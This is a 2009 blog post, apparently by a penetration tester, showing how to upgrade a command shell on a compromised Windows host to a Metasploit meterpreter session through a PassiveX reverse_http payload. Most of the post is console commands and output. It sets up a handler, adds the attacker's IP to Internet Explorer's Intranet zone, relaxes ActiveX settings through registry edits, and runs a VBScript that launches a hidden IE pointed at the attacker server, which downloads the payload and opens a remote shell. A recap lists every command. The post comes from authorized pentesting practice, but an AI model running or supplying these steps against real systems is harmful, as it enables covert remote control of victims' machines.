Tuesday, February 17, 2009

How to get meterpreter from shell in Windows

(Update: just realized my formatting's off a tad and chopping off the end of some of those commands. If you copy/paste you'll be able to see the very end of the cmd.)

Inspired by darkoperator's How to get Terminal from Shell in Windows post, here's a quick howto on a way to go from cmd shell to meterpreter shell (or any other msf payload).

I've run into situations on pentests where I can run individual commands on a machine but want to elevate to a full, interactive shell with all the bells and whistles a meterpreter shell gives you. Scenarios where I've used similar techniques:
  • SQL injection in an application allows you to run commands (Oracle, MS SQL Server)
  • Obtained (cracked, sniffed, whatever) a dba/sa level account in Oracle/MS SQL Server
  • Registry access only (e.g. this Veritas Backup vuln from 2005)
  • Some sort of PHP vuln on a WAMP server that grants you a piped command shell only
There are two main ways to load additional code onto the machine: modify IE permissions and use a passivex payload or download a file from the internet and execute it. For this round, I'll just show how to use a passivex payload, but if you want to download a file you can either use ftp commands or xmlhttp inside vbscript. (Google will have many results on these; maybe I'll write up a howto later.)

To start, we'll need an msf handler running somewhere accessible from the client to accept our connection request once the payload has been executed:

root@bt:/pentest/exploits/framework3# ./msfconsole

888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888


=[ msf v3.3-dev
+ -- --=[ 345 exploits - 223 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 123 aux

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(handler) > ifconfig
[*] exec: ifconfig

eth1 Link encap:Ethernet HWaddr 00:0c:29:b0:10:8e
inet addr:192.168.206.129 Bcast:192.168.206.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feb0:108e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1218 errors:0 dropped:0 overruns:0 frame:0
TX packets:1023 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:389976 (389.9 KB) TX bytes:121421 (121.4 KB)
Interrupt:18 Base address:0x2080

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

msf exploit(handler) > set PXHOST 192.168.206.129
PXHOST => 192.168.206.129
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/reverse_http):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
PXAXCLSID B3AC7307-FEAE-4e43-B2D6-161E68ABA838 yes ActiveX CLSID
PXAXDLL /pentest/exploits/framework3/data/passivex/passivex.dll yes ActiveX DLL to inject
PXAXVER -1,-1,-1,-1 yes ActiveX DLL Version
PXHOST 192.168.206.129 yes The local HTTP listener hostname
PXPORT 8080 yes The local HTTP listener port
PXURI /RFT74xFlyWB2IYexlRLSq9txAgowPyi4 no The URI root for requests


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...

Next, the commands to kick through to your command shell. First we'll be modifying the registry to add a new IP address into the Intranet zone:

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v ":Range" /d "192.168.206.129"

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v "*" /t REG_DWORD /d 1

The operation completed successfully

C:\>

Next we'll be adding the necessary permissions to the Intranet zone. (For a discussion on what settings are needed, refer to this post.)
C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1001" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1004" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1200" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1201" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1208" /t REG_DWORD /d 0

The operation completed successfully

C:\>

From here, I usually write a vbscript to disk that will launch an invisible instance of Internet Explorer pointed to your msf server. If for some reason you didn't care about IE being visible, you could always just execute it directly from your command shell, but assuming you don't want a big IE windy to pop up on the server, here's what you run:

C:\>echo CreateObject("Wscript.Shell").Run "iexplore.exe -new http://192.168.206.129:8080/RFT74xFlyWB2IYexlRLSq9txAgowPyi4", 0, False > temp.vbs

C:\>wscript temp.vbs

C:\>del temp.vbs

C:\>

At this point, an invisible instance of IE is running and just loaded code from your msf server. Because you modified the registry settings to allow passivex to load, you now have a meterpreter shell running in your msf console:

[*] Sending PassiveX main page to client
[*] Sleeping before handling stage...
[*] Sending stage to sid 1 (2650 bytes)
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (Local Pipe -> Remote Pipe)

meterpreter > getpid
Current pid: 3048
meterpreter >

To recap, here are all of the windows commands used in this post:

Mapping an IP address to Internet Explorer's Intranet security zone:
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v ":Range" /d "192.168.206.129"
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v "*" /t REG_DWORD /d 1

Configuring the Intranet zone to autoload passivex:
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1001" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1004" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1200" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1201" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1208" /t REG_DWORD /d 0

Creating vbscript to invisibly launch internet explorer pointed to our msf server:
echo CreateObject("Wscript.Shell").Run "iexplore.exe -new http://192.168.206.129:8080/RFT74xFlyWB2IYexlRLSq9txAgowPyi4", 0, False > temp.vbs

Running our vbscript and deleting temp.vbs:
wscript temp.vbs
del temp.vbs

4 comments:

pierz said...

Good post, thanks.

natron said...

FWIW, there's been a lot of work from bannedit and jduck on converting command shells to other payloads via an msf mixin, allowing you to use console-only exploits to automatically give you an e.g. meterpreter shell.

Keep an eye out for it, its useful.

Mutuelle sante said...

That was a great help, thanks a ton, now to get meterpreter from shell in windows is simple and easy with your recommendations. Thank you

happy said...

I enjoyed your post.

In a situation when one has already a metasploit session with a windows shell, he can use "session -u " to upgrade the shell to a meterpreter session.

But your solution works even when there is no session yet. Which is nice and useful.